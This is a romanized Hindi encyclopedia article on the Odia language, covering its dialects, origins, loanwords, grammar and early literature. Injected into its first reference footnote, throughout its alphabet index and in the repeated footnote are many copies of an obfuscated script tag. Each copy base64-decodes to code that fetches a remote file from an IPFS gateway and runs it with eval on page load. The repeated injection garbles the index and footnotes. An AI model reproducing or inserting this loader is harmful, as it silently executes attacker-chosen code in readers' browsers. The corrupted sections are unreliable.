उड़िया भाषा

u diya bhasha u disa rajy ki mukhy bhasha hai, jisane bharatiy sanvidhan ki athavian anusoochi mean manyata prapt ki hai. is bhasha ki tin pramukh boliyaan haian–

sanbalapuri (pashchimi u diya),
desiya (dakshini u diya) aur
kataki (tatiy u diya).

inamean se antim boli manak hai aur vidyalay star par shiksha ke madhyam ke roop mean isaka upayog hota hai. o disa ki bhasha aur jati donoan hi artho mean 'u diya' ka prayog hota hai, kiantu vastav mean thik roop 'o diya' hona chahie. isaki vyutpatti ka vikasakram kuchh vidvanh‌ is prakar manate haian : odravishay, odravish, odish, a disha ya o disha. sabase pahale bharat ke natyashastr mean udravibhasha ka ullekh milata hai-

'shabarabhirachaandal sachaladravidodraja:. hina vanecharanaan ch vibhasha natake smrita:.'^[1]

bhasha ki utpatti

bhashatatvik drishti se u diya bhasha mean ary, dravi d aur muandari bhashaoan ke sanmishrit roopoan ka pata chalata hai, kiantu aj ki u diya bhasha ka mukhy adhar bharatiy aryabhasha hai. sath hi sath isamean santhali, muandari, shabari, adi muandari varg ki bhashaoan ke aur auraanv, kuee (kandhi) telugu adi dravi d varg ki bhashaoan ke lakshan bhi pae jate haian. u diya bharatiy bhasha parivar ke poorv samooh se sambaddh hai aur isaki utpatti arddh magadhi prakrit se huee hai. kaha jata hai ki 10vian shatabdi mean yah alag bhasha ke roop mean ubhari. isake bad ki sadiyoan mean yah mukhyatah dravi d bhashaoan, arabi, farasi aur aangrezi ke sampark mean aee. tamil, telugu, marathi, farasi, arabi, turki, freanch, purtagali, aangrezi aur sanskrit ke grihit shabdoan se isaki shabdavali samriddh huee.

svaroop

sanskrit se grihit shabd do svaroopoan mean haian–tatsam^[2] aur tadbhav (mool svaroop se alag). u diya bhasha mean samas hota hai, lekin sanskrit ke viparit isamean lop^[3] nahian hota. samas ka upayog u diya ke bole jane vale svaroop ke bajay likhit svaroop mean adhik hota hai. anaupacharik shaili mean shabdik dvayak^[4] adhik prayukt hote haian, jabaki punardvigunit (akshar ya shabd ki punaravritti) bhasha ke sabhi svaroopoan mean hote haian. u diya mean chhah shuddh svar, nau sanyukt svar, 28 vyanjan^[5] aur char upasvar haian. is bhasha mean shabdoan ka ant vyanjanoan se nahian hota.

vyanjan

u diya bhasha ke vyanjanoan mean ekavachan aur bahuvachan; uttam, madhyam tatha any purush; aur pulliang v striliang k vibhed hai. vakyoan mean karta–karm–kriya ka kram hota hai. is bhasha mean tristariy kal pranali hai aur samapika kriya ke purush aur vachan ka nirdharan karta ke anuroop hota hai tatha isamean sammanasoochak chihn bhi hote haian. isamean samuchchayabodhak aur yaugik kriyaean bhi hoti haian. mukhy kriya–bhav nishchayarth, ajnarth prashnavachak aur sanbhavy kriyarth haian.

visheshataean

u diya bhasha ka itihas kuchh bahuvachan chihn aur parasargoan ke lop ko darshata hai. aangrezi ke sath sampark ke phalasvaroop u diya bhasha mean asakshatkathan, sambandhasoochak upavaky aur karmavachy vaky–vinyas jaisi kuchh vyakaraniy visheshataean shamil ho geean. lekin ab bhi yah poorn nahian haian. nibandh, samachar, riportiang aur vishleshan jaisi prabandh shaili ka samavesh aangrezi se hua. vidvat bhashan aur lekhan par aj bhi sanskritanishthata qayam hai.

chhand

is bhasha mean sabase pahala chhand aur gady sambhavatah kramashah 10vian aur 13vian shatabdi ke haian. pahali kavyashastriy kriti ki rachana 15vian shatabdi mean huee, jabaki sahityik gady ne 18vian shatabdi mean roop lena shuroo kiya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 59 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ mool svaroop ke nikat
↑ kisi svar ya akshar ka uchcharan ke samay lop
↑ ek hi arth vale vibhinn shabd
↑ tin moordhany–jinaka uchcharan taloo par jihva ke mu de hue shirsh ke sparsh se hota hai

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 59 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] svaroop ke nikat

[3] si svar ya akshar ka uchcharan ke samay lop

[4] rth vale vibhinn shabd

[5] tin moordhany–jinaka uchcharan taloo par jihva ke mu de hue shirsh ke sparsh se hota hai

[1]

[2]

[3]

[4]

[5]